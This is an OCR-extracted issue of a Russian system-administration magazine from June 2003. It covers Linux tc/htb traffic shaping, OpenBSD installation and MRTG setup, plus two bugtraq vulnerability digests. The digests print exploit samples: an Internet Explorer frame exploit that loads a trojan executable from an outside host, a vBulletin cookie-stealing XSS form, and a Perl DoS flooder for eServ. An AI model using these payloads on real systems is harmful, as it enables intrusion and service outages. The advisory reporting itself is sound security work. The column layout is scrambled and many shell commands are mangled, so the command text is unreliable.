существует также возможность создания хешей фильтров (т.е. групп фильтров, которые применяются при прохождении определённых других фильтров), но это применяется лишь в случаях тысяч правил, когда обработка всех фильтров занимает значительное процессорное время. Объем этой статьи не позволяет мне рассказать и об этой возможности, поэтому при возникновении этой проблемы нужно почитать HOWTO – www.lartc.org. После настройки фильтрации необходимо добавить очереди, реализующие классы. Это делается вполне стандартным образом (очереди могут быть любого типа, что позволяет выполнять самые разнообразные задачи). Для нашего примера это будет выглядеть так: # # # #

tc tc tc tc

qdisc qdisc qdisc qdisc

add add add add

dev dev dev dev

eth0 eth0 eth0 eth0

parent parent parent parent

1:10 1:11 1:12 1:13

handle handle handle handle

20: 30: 40: 50:

pfifo limit pfifo limit pfifo limit sfq perturb

500 500 500 10

Обратите внимание, что родителями этим очередям являются классы, таким образом, псевдодерево будет выглядеть так:

администрирование Еще хотел бы остановить ваше внимание на классе 1:1. На самом деле может быть несколько классов верхнего уровня, что позволяет строить весьма сложную иерархию классов. На этом я, пожалуй, закончу теоретическое рассмотрение очередей и приведу реальный пример использования очередей для управления трафиком. В этом примере я покажу основные возможности очередей: разделение трафика и создание полос пропускания, фильтрацию на основе поля ToS, защита сервера от SYN- и ICMP-флуда, разделение трафика между несколькими сетевыми интерфейсами (туннели высокой пропускной способности, аналог port link в Cisco Catalyst). Итак, конфигурация сети: В нашем случае имеется сервер, соединяющий две локальные сети (Server A). Он соединен через две сетевые карты со 2-м сервером (Server B) для повышения эффективности обмена данными между двумя серверами (например, резервные копии одного сервера на другом). Я не буду подробно останавливаться на механизмах маршрутизации и разграничения доступа, а для начала просто поясню, как при помощи очередей реализовать распределение трафика по двум интерфейсам. Для этого существует специальный тип очереди – teql. Сначала необходимо добавить такую очередь к двум интерфейсам (в нашем случае – eth1 и eth2): # tc qdisc add dev eth1 root teql0 # tc qdisc add dev eth2 root teql0

После этого появляется виртуальный интерфейс – teql0. Работа с ним не отличается от работы с любым другим интерфейсом: # ip link set dev teql0 up

– включает интерфейс. Учтите, что подобную операцию нужно проделать на обеих машинах (Server A и Server B), а после этого необходимо настроить первоначально маршрутизацию: Server A # ip addr # ip addr # ip addr Server B # ip addr # ip addr # ip addr

add dev eth1 10.0.0.1/31 add dev eth2 10.0.0.3/31 add dev teql0 10.0.0.5/31 add dev eth1 10.0.0.2/31 add dev eth2 10.0.0.4/31 add dev teql0 10.0.0.6/31

При этом серверы будут общаться через виртуальную подсеть 10.0.0.0/31 и будут видеть друг друга через адреса 10.0.0.5 и 10.0.0.6 соответственно. Необходимо также отключить «отброс» пакетов серверами: # echo 0 > /proc/sys/net/ipv4/conf/eth1/rp_filter # echo 0 > /proc/sys/net/ipv4/conf/eth2/rp_filter

т.к. это может вызвать нежелательные циклы пакетов между серверами (каждый сервер будет отбрасывать не предназначенные ему пакеты в петлю, и эти пакеты будут гулять, пока не истечет ttl). На этом будем считать настройку интерфейсов eth1 и eth2 законченной (если Server B настроен правильно, то причин для беспокойства нет, иначе есть смысл настроить

№6(7), июнь 2003

firewall и максимальную скорость связи). Главной «оптимизации» подвергнется интерфейс eth0, ведущий в локальную сеть. Eth0 – стомегабитная сетевая карта. В нашей сети имеется 2 «особых» клиента: 192.168.2.2 и 192.168.2.3. Им необходимо выделить отдельные полосы пропускания для ftp- и smb-трафика (по 10 Мбит каждому). Кроме этого, сеть состоит из рабочих станций под управлением Unix/Linux и очень много работают с сервером по ssh (10 Мбит дополнительно). Помимо всего прочего, в сети необходимо учитывать ToS-флаги и ограничивать icmp-трафик (защита от любителей делать ping -f). Задачка не из легких, не так ли? Особенно если учесть, что мы будем устанавливать для различных полос различный приоритет... Для начала создаем htb-очередь для выделения полос пропускания: # tc qdisc add dev eth0 root handle 1: default 14

и сами полосы:

администрирование # tc class add dev eth0 parent 1: handle 1:1 rate ↵ 10mbit burst 150000 ceil 100mbit # tc class add dev eth0 parent 1:1 handle 1:11 rate 10mbit burst 15000 ceil 100mbit prio 2 # tc class add dev eth0 parent 1:1 handle 1:12 rate 10mbit burst 15000 ceil 100mbit prio 2 # tc class add dev eth0 parent 1:1 handle 1:13 rate 10mbit burst 15000 ceil 100mbit prio 2 # tc class add dev eth0 parent 1:1 handle 1:14 rate 69mbit burst 100000 ceil 100mbit prio 3

↵ ↵ ↵ ↵

Одна полоса для ICMP-трафика: # tc class add dev eth0 parent 1:1 handle 1:15 rate ↵ 100kbit burst 1000 ceil 100mbit prio 4

Ещё одна полоса для TCP-AСK пакетов (эти пакеты должны иметь максимальный приоритет, т.к. это существенно повышает скорость загрузки данных с сервера к клиенту): # tc class add dev eth0 parent 1:1 handle 1:16 rate ↵ 900kbit burst 2500 ceil 100mbit prio 1

Создаем фильтры: создаем фильтры для особых клиентов: Для клиента А: # tc filter add dev eth0 protocol ip parent 1:0 ↵ prio 1 u32 match ip src 192.168.2.2 ↵ match ip dport 110 0xffff flowid 1:11 # tc filter add dev eth0 protocol ip parent 1:0 ↵ prio 1 u32 match ip src 192.168.2.2 ↵ match ip dport 138 0xfff flowid 1:11

Через 138-й порт в протоколе NetBios передаются данные. Для клиента Б: # tc filter add dev eth0 protocol ip parent 1:0 ↵ prio 1 u32 match ip src 192.168.2.3 ↵ match ip dport 110 0xffff flowid 1:12 # tc filter add dev eth0 protocol ip parent 1:0 ↵ prio 1 u32 match ip src 192.168.2.3 ↵ match ip dport 138 0xfffflowid 1:12

создаем фильтрацию ssh-трафика: # tc filter add dev eth0 protocol ip parent 1:0 ↵ prio 1 u32 match ip dport 22 0xffff flowid 1:13

задаем предел для ICMP и SYN-TCP трафика: SYN: Для начала установим правила отбора SYN-пакетов при помощи iptables (это намного проще, чем использовать сырой разбор пакетов и маскирование битов): # iptables -A PREROUTING -i eth0 -t mangle -p ↵ tcp --syn -j MARK --set-mark 1

После этого необходимо добавить особый тип очереди – ingress, которая пропускает трафик не выше заданной скорости, при этом заметьте, что очередь не имеет размещения (всегда root), что позволяет добавлять к интерфейсу очередь ingress, не мешая htb (или любой другой очереди), подключенной к этому же интерфесу: # tc qdisc add dev eth0 handle ffff: ingress # tc filter add dev eth0 parent ffff: protocol ip ↵ prio 50 handle 1 fw police rate 100kbit ↵ burst 1500 mtu 9k drop flowid :1

Мы установили лимит SYN-пакетов до 320 пакетов в секунду (пакет с SYN-флагом занимает 320 бит, но 320 пакетов в секунду несколько многовато, хотя точно должно обеспечить обработку всех запросов на соединение). ICMP: Тут мы имеем дело с обычным выделением полосы пропускания и фильтрацией протокола: # tc filter add dev eth0 parent 10:0 protocol ip ↵ prio 100 u32 match ip protocol 1 0xff flowid 1:15

Значение protocol 1 соответствует ICMP.

добавляем фильтр TCP-AСK пакетов:

# tc filter add dev eth0 parent 1: protocol ip ↵ prio 10 u32 match ip protocol 6 0xff match u8 ↵ 0x05 0x0f at 0 match u16 0x0000 0xffc0 at ↵ 2 match u8 0x10 0xff at 33 flowid 1:15

Эта строчка выглядит несколько сложно, но здесь используется сырой разбор заголовков пакетов, поэтому весьма сложно понять, что к чему. На этом настройки фильтрации заканчиваются. Приступим к добавлению очередей, реализующих классы: для особых клиентов подойдут обычные pfifo-очереди: # tc qdisc add dev pfifo limit # tc qdisc add dev pfifo limit

eth0 parent 1:11 handle 20: ↵ 500 eth0 parent 1:12 handle 30: ↵ 500

для ssh-полосы лучше всего использовать sfq для равномерности распределения клиентов: # tc qdisc add dev eth0 parent 1:13 handle 40: ↵ sfq pertrub 10

для остальной части подсети лучше всего использовать pfifo_fast очередь, т.к. необходимо выделять приоритетный трафик. pfifo_fast было выбрано вместо prio только по причине простоты использования (думаю, скрипт, реализующий установку всех очередей, и так способен смутить любого): # tc qdisc add dev eth0 parent 1:14 handle ↵ 50: pfifo_fast

для AСK-пакетов подойдет также pfifo-очередь: # tc qdisc add dev eth0 parent 1:15 handle 60: ↵ pfifo limit 15

Вот и все, я завершаю свой пример и рассказ о traffic control в GNU/Linux. Надеюсь, что моя статья окажется вам полезной. На этом я и прощаюсь с вами. Приведу ряд полезных ссылок: 1. http://www.lartc.org – Linux Advanced Routing and Traffic Control HOWTO. 2. http://luxik.cdi.cz/~devik/qos/htb/manual/userg.htm – руководство по работе с htb-очередями (приведены графики производительности и описаны все основные параметры очередей этого типа). 3. RFC795 – документ, посвященный использованию поля ToS.

bugtraq Microsoft Internet Explorer может выполнить произвольный код при обработке больших количеств запросов загрузки Уязвимость обнаружена в Microsoft Internet Explorer (IE). Удаленный пользователь может сконструировать HTML, который заставит браузер выполнить произвольный код. Сообщается, что удаленный пользователь может сконструировать HTML, который, когда будет загружен в браузере, заставит IE открыть большое количество фреймов. Если последние несколько фреймов ссылаются на злонамеренный файл, расположенный на удаленном сервере, IE не в состоянии проверить ограничения зоны безопасности для этих фреймов и выполнит произвольный код. Уязвимость затрагивает не все версии IE. На уязвимых версиях существует некоторая вероятность несрабатывания уязвимости. Например, в IE 6.0.2800.1106 на Windows 2000 успешная работа эксплоита будет наблюдаться в 95% случаях. Пример: FRAME SRC="C:\winnt\welcome.exe"></FRAME> <FRAME SRC="C:\winnt\notepad.exe"></FRAME> <FRAME SRC="C:\winnt\regedit.exe"></FRAME> ... together around 191 ... and after comes our trojan ... <FRAME SRC="http://www.systemintegra.com/trojan.exe"></FRAME> <FRAME SRC="http://www.systemintegra.com/trojan.exe"></FRAME> <FRAME SRC="http://www.systemintegra.com/trojan.exe"></FRAME> <FRAME SRC="http://www.systemintegra.com/trojan.exe"></FRAME> <FRAME SRC="http://www.systemintegra.com/trojan.exe"></FRAME>

Уязвимость обнаружена в Microsoft Internet Explorer 6, tested on 6.0.2800.1106 on Windows 2000.

Недостаток в ядре Linux 2.4 в кеше маршрута позволяет удаленному пользователю вызвать условие отказа в обслуживании Уязвимость обнаружена в ядре Linux 2.4 в кеше хеш-таблицы маршрута. Удаленный пользователь может послать специально сформированный пакет, чтобы заставить систему использовать 100% ресурсов центрального процессора. Уязвимость обнаружена в выполнении хеш-таблицы в Netfilter IP conntrack модуле и ядре. Другие хеш-таблицы внутри ядра могут быть также уязвимы. Удаленный пользователь может послать пакет со специально обработанным значением и недопустимым адресом источника, чтобы вызвать коллизию хеша, в результате каждая запись в кеше маршрута будет записана в ту же самую цепочку хеширования. Это заставит ядро использовать 100% ресурсов CPU и может привести к условиям отказа в обслуживании. Уязвимость обнаружена в Linux 2.4, prior to 2.4.21-rc2.

Межсайтовый скриптинг в частных сообщениях в vBulletin Уязвимость в проверке правильности ввода обнаружена в vBulletin при просмотре частных сообщений. Удаленный пользователь может выполнить XSS-нападение. Сообщается, что сценарий 'private.php' не фильтрует данные, представленные пользователем. Удаленный пользователь может сконструировать специально сформированную веб-форму, которая при загрузке в браузере пользователя выполнит произвольный код сценария в

№6(7), июнь 2003

браузере целевого пользователя в контексте vBulletin сайта. Пример: (требуется предварительная авторизация) <html> <body> <form action="http://[victim]/forum/private.php" method="post" name="vbform"> <input type="hidden" name="do" value="insertpm" /> <input type="hidden" name="pmid" value="" /> <input type="hidden" name="forward" value="" /> <input type="hidden" name="receipt" value="0" /> <input type="text" class="bginput" name="title" value="" size="40" tabindex="2" /> <textarea name="message" rows="20" cols="70" wrap="virtual" tabindex="3"></textarea> <input type="submit" class="button" name="sbutton" value="Pos t Message" accesskey="s" tabindex="4" /> <input type="submit" class="button" value="Preview Message" access key="p" name="preview" onclick="this.form.dopreview = true; return true;this.form.submit()" tabindex="5" > <input type="checkbox" name="savecopy" value="1" id="cb_savec opy" checked="checked" /> <input type="checkbox" name="signature" value="1" id="cb_sign ature" /> <input type="checkbox" name="parseurl" value="1" id="cb_parse url" checked="checked" /> <input type="checkbox" name="disablesmilies" value="1" id="cb_disablesmilies" /> </form> <script> //Set Values and Submit // You can write your own JS codes var xss = "\"><script>alert(document.cookie)<\/script>"; document.vbform.title.value=xss; document.vbform.preview.click(); </script> </body> </html>

Уязвимость обнаружена в vBulletin 3.0.0 Beta 2.

Удаленное переполнение буфера в Microsoft Windows Script Engine Удаленный пользователь может аварийно завершить работу IE или выполнить произвольный код с привилегиями текущего пользователя. Переполнение буфера обнаружено в библиотеке обработки JScript – jscript.dll, расположенной в %SystemRoot%\system32. Сообщается, что уязвимость может использоваться для выполнения произвольного кода. Пример: <script> this.window(); </script>

или <script> self.window(); </script>

Работа IE аварийно завершится со следующей ошибкой: The instruction at "0x6b73aa15" referenced memory at "0x006f0063". The memory could not be "read".

Уязвимость обнаружена в Internet Explorer 5.0-6.0.

Составил Александр Антипов

администрирование

ВВЕДЕНИЕ В

ДЕНИС НАЗАРОВ

администрирование Проект берет свое начало из системы NetBSD, когда один из четырех главных разработчиков проекта Theo de Raadt (Тео де Радт) решил создать свою собственную реализацию UNIX-подобной системы, делая максимальный упор на безопасность. OpenBSD унаследовала из NetBSD в основном только мультиплатформенность. Остальное же было написано с нуля или кардинально переделано. Вся переписка, предшествующая появлению OpenBSD, находится тут: http://zeus.theos.com/deraadt/coremail.html. Код системы полностью открыт и каждый желающий может помочь с разработкой системы. В процессе работы над OpenBSD был проделан огромный труд. Разработчики затратили много времени, выявляя и устраняя слабые места в системе защиты OpenBSD. Одна удаленная уязвимость в системе за 7 лет при инсталляции «по умолчанию». В системе широко используется кодирование данных. В состав системы входит KerberosIV, KerberosV. Большинство идентификаторов (таких, например, как PID) генерируется по случайному закону. Полностью контролируется использование каталога /tmp. Полностью контролируется работа с буферами данных, в частности отслеживается момент их переполнения. Устранены недостатки работы с протоколами при копировании файлов, маршрутизации, использовании зарезервированных портов и прочее. Система активно противодействует незаконным попыткам сбора информации (OS fingerprinting). Используется новый системный вызов mkstemp (и прочее), улучшающий обработку каталога /tmp. IP-фильтры являются стандартными компонентами ядра. В ядро включены средства кодирования IP Photuris. Модифицированы средства обработки сигналов, затрагивающих ядро. Устранены нарушения защиты в strcpy и других системных вызовах. Присутствует контроль за переполнением переменных окружения. В Kerberos устранены ошибки, связанные с переполнением буферов. В libc включены средства кодирования. В системе используются гибкие механизмы кодирования паролей (Blowfish и прочее). В стандартные утилиты встроена поддержка S/Key. Выбор портов для прикладных программ осуществляется по случайному закону. В систему входит мощнейший пакетный фильтр PF (OpenBSD’s Packet Filter). Контроль за всеми обращениями к ядру приложений при помощи systrace. В компилятор (GCC), начиная с версии 3.3, встроена защита propolicy. Большинство стандартных сервисов, предоставляемых системой, запускаются в изолированном пространстве (chroot). Это лишь малая часть всех тех прелестей, которыми обладает OpenBSD. Разработчики предоставляют вам возможность иметь 3 вида реализации OpenBSD:

№6(7), июнь 2003

RELEASE – релиз, система, которую вы получаете, ус

танавливая OpenBSD с официальных CD-ROM или других источников. STABLE – система, на которую наложены все необходимые исправления и выполнены все рекомендации по настройке. CURRENT – текущая, сырая система. В нее постоянно вносятся исправления, улучшения, добавляется новое ПО и прочее. Из этой версии в итоге вытекает новая система RELEASE.

На одном из серверов, которые я контролирую, была установлена OpenBSD CURRENT версии 3.0 и она успешно обновляется и по сей день. Использование ветки STABLE предпочтительней на production-серверах, где важна стабильность и надежность. Однако по собственному опыту могу сказать, что CURRENT ничуть не хуже STABLE, а порой даже лучше, удерживает лишь мысль «вдруг на CURRENT что-то перестанет работать?» После установки системы можно сразу заметить «чистоту» системы. Большинство сервисов отключено (но установлено!), конфигурационные файлы дают понять, что система уже довольно жестко настроена. Отличный ход OpenBSD team – это страница мануала afterboot (man afterboot), на которой очень хорошо описано, что нужно сделать сразу после установки системы, чтобы привести ее в идеальное состояние. Система очень компактна, после установки она заняла у меня всего 210 Mб без системы X Windows. При этом вы получаете полноценную систему с компилятором, которая готова служить вам верой и правдой с этой же минуты. Очевидные для меня минусы системы: Отсутствие поддержки SMP (symmetric multiprocessor), но в данный момент уже есть проект, который разрабатывает поддержку SMP для i386 и Sparc. Отсутствие поддержки некоторых RAID-массивов. Отсутствие поддержки некоторых сетевых карт (хотя эта проблема решилась портированием драйвера из FreeBSD). OpenBSD часто используется на границах сети как межсетевой экран (firewall) и/или роутер (router). Система обладает мощнейшим пакетным фильтром и интегрированным контролем полосы пропускания. Использование OpenBSD также обусловлено низким приростом удаленных уязвимостей, делая ее надежным, дешевым и гибким решением.

Инсталляция системы Хорошо, приступим к инсталляции данной прелести на наш подопытный сервер. Сразу оговорюсь про железо. P4 1,75Ghz / 1Gb RAM / 80Gb HDD / Intel-Ethernet Express Pro 100Mb/s. Да, железо неслабое, но ставлю на то, что есть. По поводу работы OpenBSD на более «плохом» железе можно смело ответить «Да!». У меня в руках 3 диска: Базовый инсталляционный диск. Набор заранее скомпилированного ПО для системы (Packages). Дополнительное ПО для других платформ (Sparc, Alpha…).

администрирование Ставить систему, конечно, можно и не с CD-ROM, но это наиболее удобный способ, по моему мнению. Прежде всего, перед началом инсталляции вы должны четко знать: Имя будущей машины (hostname). Совместимость всего hardware с системой. Метод установки (CD-ROM, FTP…). Разметку диска. Сетевые настройки, если вы не собираетесь использовать DHCP. Имя домена (domain name), сервера имен (DNS servers), IP-адрес, сетевую маску для ваших сетевых карт и шлюз (gateway). Собираетесь ли вы использовать систему X-Windows.

Partition может рассматриваться как общий кусок диска для OpenBSD, если на компьютере установлено больше одной ОС, иначе же partition будет рассматриваться как filesystem. Не морочьте себе голову, после первого общения с fdisk OpenBSD вы разберетесь в этом раз и навсегда.

Система спрашивает, будем ли мы использовать весь диск для нее или же выделим ей отдельный partition.

Отлично, включаем в BIOS загрузку с CD-ROM, вставляем первый диск и перегружаемся. Дальше вы видите нечто вроде:

Что это значит:

Install – полная установка системы с записью всех фай-

лов и каталогов, созданием новой разметки диска (хотя если диск размечен уже был, можно оставить как есть) и выполнению всех процедур установки. Upgrade – установка только «install files», без внесения каких-либо изменений в конфигурацию системы, данных или же разметки диска. Shell – иногда требуется внести изменения в текущую систему с использованием другого ядра, данная опция как раз позволяет делать это. Смело выбираем «I» и идем дальше. Видим следующее:

Информация для ознакомления с процедурами ввода данных при инсталляции, в принципе ничего сложного. Идем дальше. Предупреждение о возможной потери всех данных.

Вот тут уже и начинается самое интересное – разбиение диска:

Однако хочу предупредить, понятие partition тут двояко.

Вот он! Тот самый fdisk, который кажется всем страшным и пугает. Но на самом деле это довольно безобидная и очень гибкая (в умелых руках) утилита. Расскажу о ней подробнее. Команды можно сокращать, например, так: r или reinit: очищает весь диск и создает одну большую partition для OpenBSD. Равносильно ответу «yes» в вопросе «use *all* of ...». p или print: выводит информацию о текущем разделе в секторах. «p m» покажет информацию в мегабайтах, «p g», соответственно, в гигабайтах. e или edit: редактировать запись в таблице. f или flag: помечает раздел как загрузочный и разрешает грузиться с него. exit и quit: внимание, команды «exit» and «quit» имеют разные значения. Команда exit заставляет fdisk завершиться «фатально», т.е изменения не будут внесены, в то время как комадна quit подразумевает успешное завершение программы, запись всех изменений на диск, однако перед quit все-таки еще стоит использовать команду write для большей надежности. Прежде чем начинать работать с fdisk, сохраните все важные данные. Хорошо, начинаем:

администрирование Следующий раздел (a b) по умолчанию принимается системой как SWAP, поэтому нужно сделать необходимые изменения в размере раздела. Продолжая процесс, добавляем все необходимые нам разделы и записываем информацию командами w и q (write, quit). Дальше начинается процесс непосредственного форматирования разделов:

После создания разделов начинается этап переконфигурирования системы. Нас спрашивают, как будет называться машина:

Эта информация будет сохранена в файле /etc/myname и в дальнейшем может быть легко изменена. Вот мы уже и на пороге кофигурации сети.

Типичная сессия работы с fdisk. Теперь по строчкам:

p m – просматриваем информацию о разделах в мегабайтах;

d a – удаляем раздел «a», т.к. он пустой и ничем не занят;

a a – теперь вновь добавляем его, но уже со своими параметрами для него: offset: [3069360] Enter – offset-смещение относительно секторов; size: [36030960] 150M – размер раздела в мегабайтах Rounding to nearest cylinder: 307440 – ближайший цилиндр оставляем как есть; FS type: [4.2BSD] Enter – тип файловой системы; mount point: [none] / – точка монтирования.

№6(7), июнь 2003

Система сама определяет сетевой интерфейс (если таковой имеется) и предлагает настроить его путем введения IP-адреса, маски сети, DNS-серверов и шлюза. Отлично, мы добрались до установки пароля суперпользователя.

администрирование полной красе. Выставляем время и сообщаем системе, что не будем использовать X Windows. Думаю, рассказывать, как важен пароль суперпользователя и каким он должен быть, мне нет смысла, т.к. имеется очень много документов, описывающих способы выбора правильного пароля. Выбор метода инсталляции:

Выбираем установку с CD-ROM путем ввода «c». Дальше система спрашивает, где находятся необходимые файлы. Последний взмах волшебной палочкой:

Переходим к выбору компонентов системы:

Добавить компонент можно так^ +xbase33*, а убрать – misc33*. Выбрав все необходимое, переходим к процедурее переноса и установки компонентов:

Система поставлена. Осталось лишь нажать кнопку перезагрузки и увидеть всю красоту, чистоту и прелесть системы. Ну а что делать с ней дальше, я расскажу в следующей статье.

Ссылки по теме

Отлично, мои поздравления, вы поставили OpenBSD! Осталось совсем чуть-чуть для того, чтобы увидеть ее в

1. Домашняя страница проекта OpenBSD: http://www.openbsd.org 2. Журнал, посвященный OpenBSD: http://www.deadly.org 3. Страница проекта OpenBSD.ru: http://www.openbsd.ru 4. Информация о OpenBSD Packet filter: http://www.benzedrine.cx/pf.html 5. Огромная коллекция ссылок для OpenBSD: http://www.infobsd.org/

bugtraq Утечка памяти большим количеством подключений в eServ

Некорректный HTTP-заголовок может завесить CUPS-сервер

Отказ в обслуживании обнаружен в eServ. Утечка памяти позволяет удаленному пользователю исчерпать доступные системные ресурсы на целевом сервере. Сообщается, что удаленный пользователь может подключиться к серверу несколько тысяч раз, чтобы заставить сервер выделить большое количество памяти, что в конечном счете приведет к зависанию сервера. Сообщается, что 100 подключений может вызвать утечку памяти между 7.81 MB и 31.25 MB, а 50.000 подключений приведут к аварийному завершению работы сервера. Эксплоит:

Отказ в обслуживании обнаружен в Common UNIX Printing System (CUPS). Удаленный пользователь может нарушить работу CUPS-сервера. Сообщается, что удаленный пользователь может подключиться к CUPS-серверу и вызвать условия отказа в обслуживании, посылая специально обработанный HTTPзаголовок. Пример:

#!/usr/bin/perl #LEGAL NOTICE: Don't test this on networks you don't #administer, and do not test this tool on networks you don't #own without permission of the network owner. You are #responsible for all damage due to your use of this tool. use IO::Socket; print "$0: eServ Remote DoS Exploit\r\n"; print "By Matthew Murphy \<mattmurphy\@kc.rr.com\>\r\n\r\n"; print "Server hostname\: "; $host = trim(chomp($line = <STDIN>)); print "Service port to probe\: "; $port = trim(chomp($line = <STDIN>)); print "\r\nBeginning probe -- stop with CTRL+C\r\n"; while (1) { $f = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host:$port"); undef $f;

Исчерпание свободного пространства на дисковом массиве в Apache mod_survey Уязвимость в проверке правильности ввода обнаружена в модуле Apache mod_survey. Удаленный пользователь может исчерпать все доступное пространство на дисковом массиве. Удаленный пользователь может послать запросы о несуществующих отчетах (survey), чтобы заполнить дисковый массив, на котором хранится архив данных. Программное обеспечение не проверяет, существует ли запрашиваемый отчет до окончания создания архива "SYSBASE", основанного на имени отчета. В результате удаленный пользователь может представить ответ отчета для несуществующего имени отчета, чтобы создать пустой SYSBASE. Созданный каталог будет занимать некоторое место на файловой системе. Уязвимость обнаружена в Apache mod_survey 3.0.0 to before 3.0.15-stable.

$ telnet <your_favorite_cups_server> ipp POST /printers/<your_favorite_printer> HTTP/1.1

Если пользователь вводит только один перевод каретки после POST-строки, CUPS-сервер зависнет и перестанет отвечать другим клиентам. Уязвимость обнаружена в CUPS до версии 1.1.19rc5.

Локальное переполнение буфера в переменной LOCATE_PATH в slocate Целочисленное переполнение буфера обнаружено в slocate. Локальный пользователь может получить поднятые привилегии на системе. Сообщается, что локальный пользователь может эксплуатировать целочисленное переполнение в функции parse_decode_path(), устанавливая переменную LOCATE_PATH к значению, содержащему более 536870912 ':' символов. Также сообщается, что Linux-ядро по умолчанию не позволяет устанавливать переменные таких размеров, но пользователь может перекомпилировать ядро с большим значением параметра MAX_ARG_PAGES.

Отказ в обслуживании в Intel Corporation Itanium 2 Processor Уязвимость обнаружена в процессоре Intel Itanium 2. Специально сконструированная процедура может нарушить нормальную работу процессора. Проблема происходит, когда процессор пытается обработать специально сконструированную процедуру. Когда операция выполнена, процессор может прекратить функционировать. В настоящее время неизвестно, может ли этот аварийный отказ постоянно нарушать работу процессора. Уязвимость обнаружена в Intel Corporation Itanium 2 Processor.

Переполнение буфера в Firebird позволяет Переполнение буфера в explorer.exe локальному пользователю получить при разборе desktop.ini-файла root-привилегии Несколько переполнений буфера обнаружены в базе данных Firebird. Локальный пользователь может получить rootпривилегии. Приложения gds_inet_server, gds_drop, и gds_lock_mgr не выполняют проверку границ переменных, возвращенных функцией getenv(). Локальный пользователь может установить переменную INTERBASE к специально обработанному значению, чтобы переполнить буфер и выполнить произвольный код с root-привилегиями на Linux-системах и с привилегиями базы данных на FreeBSD. Уязвимость обнаружена в Firebird 1.0.0, 1.0.2.

Переполнение буфера обнаружено в explorer.exe при разборе файла desktop.ini в Windows XP. Локальный пользователь может получить поднятые привилегии на системе. Переполнение буфера обнаружено в параметре lpReturnedString в desktop.ini. Локальный пользователь может представить специально обработанное значение для этого параметра, чтобы выполнить произвольный код с привилегиями пользователя, просматривающего диск с помощью эксплорера. Уязвимость обнаружена в Windows XP Service Pack 1. Составил Александр Антипов

№6(7), июнь 2003

администрирование

УЧЕТ ТРАФИКА С ПОМОЩЬЮ ПРОГРАММ MRTG И LAN BILLING

ДЕНИС КОЛИСНИЧЕНКО 20

администрирование Программа MRTG (The Multi Router Traffic Grapher) предназначена для мониторинга загрузки канала за сутки, неделю, месяц и год. Программа MRTG умеет рисовать красивые картинки в формате PNG, которые отображают состояние канала за определенный период времени. Программа предоставляет очень удобные средства для подсчета трафика: подсчет для всей сети и для отдельного узла, генерирование отчетов и диаграмм в формате HTML и многое другое. Пример использования вы можете увидеть на сайте http://www.stat.ee.ethz.ch/mrtg/. Для работы mrtg нам потребуется маршрутизатор, поддерживающий протокол SNMP. В этой статье будет рассмотрен пример, позволяющий обойтись без маршрутизатора и вообще не использовать протокол SNMP. Программа MRTG будет периодически запускаться на узле MRTG, обновляя информацию о трафике. Пользователи локальной сети могут ознакомиться с этой информацией по протоколу HTTP. Естественно, на узле MRTG должен быть установлен веб-сервер. Перед установкой программы убедитесь в наличии следующих библиотек: gd (http://www.boutell.com/gd/); libpng (http://www.libpng.org/pub/png/); zlib (http://www.info-zip.org/pub/infozip/zlib/). Загрузить последнюю версию MRTG можно по адресу: http://ee-staff.ethz.ch/~oetiker/webtools/mrtg/pub. Если вы используете операционную систему RedHat версии 7 или выше, программа MRTG, скорее всего, будет уже у вас установлена. Мы не будем скачивать исходные тексты программы, а сразу воспользуемся уже собранным пакетом rpm. Установим mrtg командой: rpm -ih mrtg*

WorkDir: /var/www/html/mrtg Options[_]: bits,growright Target[r1]: community@router

После установки нужно подготовить программу к первому запуску, то есть указать, откуда получать сведения о трафике. Программа MRTG состоит из трех частей: cfgmaker – утилита для создания конфигурационного файла; indexmaker – утилита для создания файла index.html – страницы краткого обзора, дающая вам общее представление о всех целях, которые вы контролируете. О целях мы поговорим немного позже; mrtg – сам mrtg. Первый конфигурационный файл удобно создать с помощью программы cfgmaker, а потом добавить в него дополнительные параметры. Введите команду: cfgmaker --global 'WorkDir: /var/www/html/mrtg' --global 'Options[_]: bits,growright' \ --output /var/www/html/mrtg/mrtg.cfg \ community@router

Теперь разберемся, что все это означает. Прежде всего, напомню, что означает наклонная черта: это просто перенос строки. Когда вы будете вводить команду, вместо наклонной черты используйте пробел как разделитель параметров.

№6(7), июнь 2003

Параметр WorkDir задает рабочий каталог. В этот каталог будут помещены html-файлы и рисунки – отчеты о трафике. Каталог /var/www/html/, как вы уже успели заметить, является корневым каталогом нашего веб-сервера, поэтому для просмотра статистики нужно ввести следующий URL в окне браузера: http://localhost/mrtg/. Кроме параметра WorkDir имеются также параметры HtmlDir и ImageDir. В эти каталоги будут помещены htmlфайлы и картинки. При определении этих параметров нужно учитывать, что параметр WorkDir имеет приоритет над параметрами HtmlDir и ImageDir и поэтому, если указан параметр WorkDir, mrtg поместит отчеты и картинки именно в этот каталог, а значения параметров HtmlDir и ImageDir будут проигнорированы. Группа глобальных параметров Options управляет построением изображения. Параметр bits означает, что мы измеряем трафик в битах, поэтому все числа нужно умножить на 8. Второй параметр, growright, указывает направление оси времени. Позже мы рассмотрим все параметры подробнее. Параметр output программы cfgmaker задает имя конфигурационного файла, который будет создан. Нужно отметить, что параметры WorkDir и Options являются параметрами программы mrtg, а параметры global и output – параметрами программы cfgmaker. Параметр community@router указывает имя сообщества SNMP-устройства. В нашем случае – это наш SNMPмаршрутизатор. Обычно используется имя сообщества public. Параметр community@router как раз и является целью, которую мы будем контролировать. После выполнения этой команды будет сгенерирован такой файл mrtg.cfg.

Имя цели (r1) пишется в квадратных скобках. Для разных целей можно задавать разные параметры, например: Target[r1]: 1:community@router Target[r2]: 2:community@router MaxBytes[r1]: 1250000 MaxBytes[r2]: 2500000 Title[r1]: Traffic Analysis for first interface PageTop[r1]: <H1>Stats for our interface #1</H1> Title[r2]: Traffic Analysis for second interface PageTop[r2]: <H1>Stats for our interface #2</H1>

Параметр MaxBytes определяет максимальное число байт для цели. Значения, превышающие MaxBytes, будут игнорироваться. Параметр Title определяет заголовок страницы, которая будет содержать информацию о цели, а параметр PageTop – текст, который будет помещен в верхней части этой страницы. Числа 1 и 2 перед именем сообщества – это номера интерфейсов во внутренней таблице SNMP-устройства. После имени (или IP-адреса) SNMP-устройства можно указать порт SNMP. По умолчанию используется стандартный порт 161. В качестве цели может быть использована программа, которая выводит на стандартный вывод четыре строки:

администрирование Количество принятых байт. Количество отправленных байт. Время работы объекта после включения. Имя объекта. Программу нужно записать в обратных кавычках, например: Target[r3]: `/usr/bin/program`

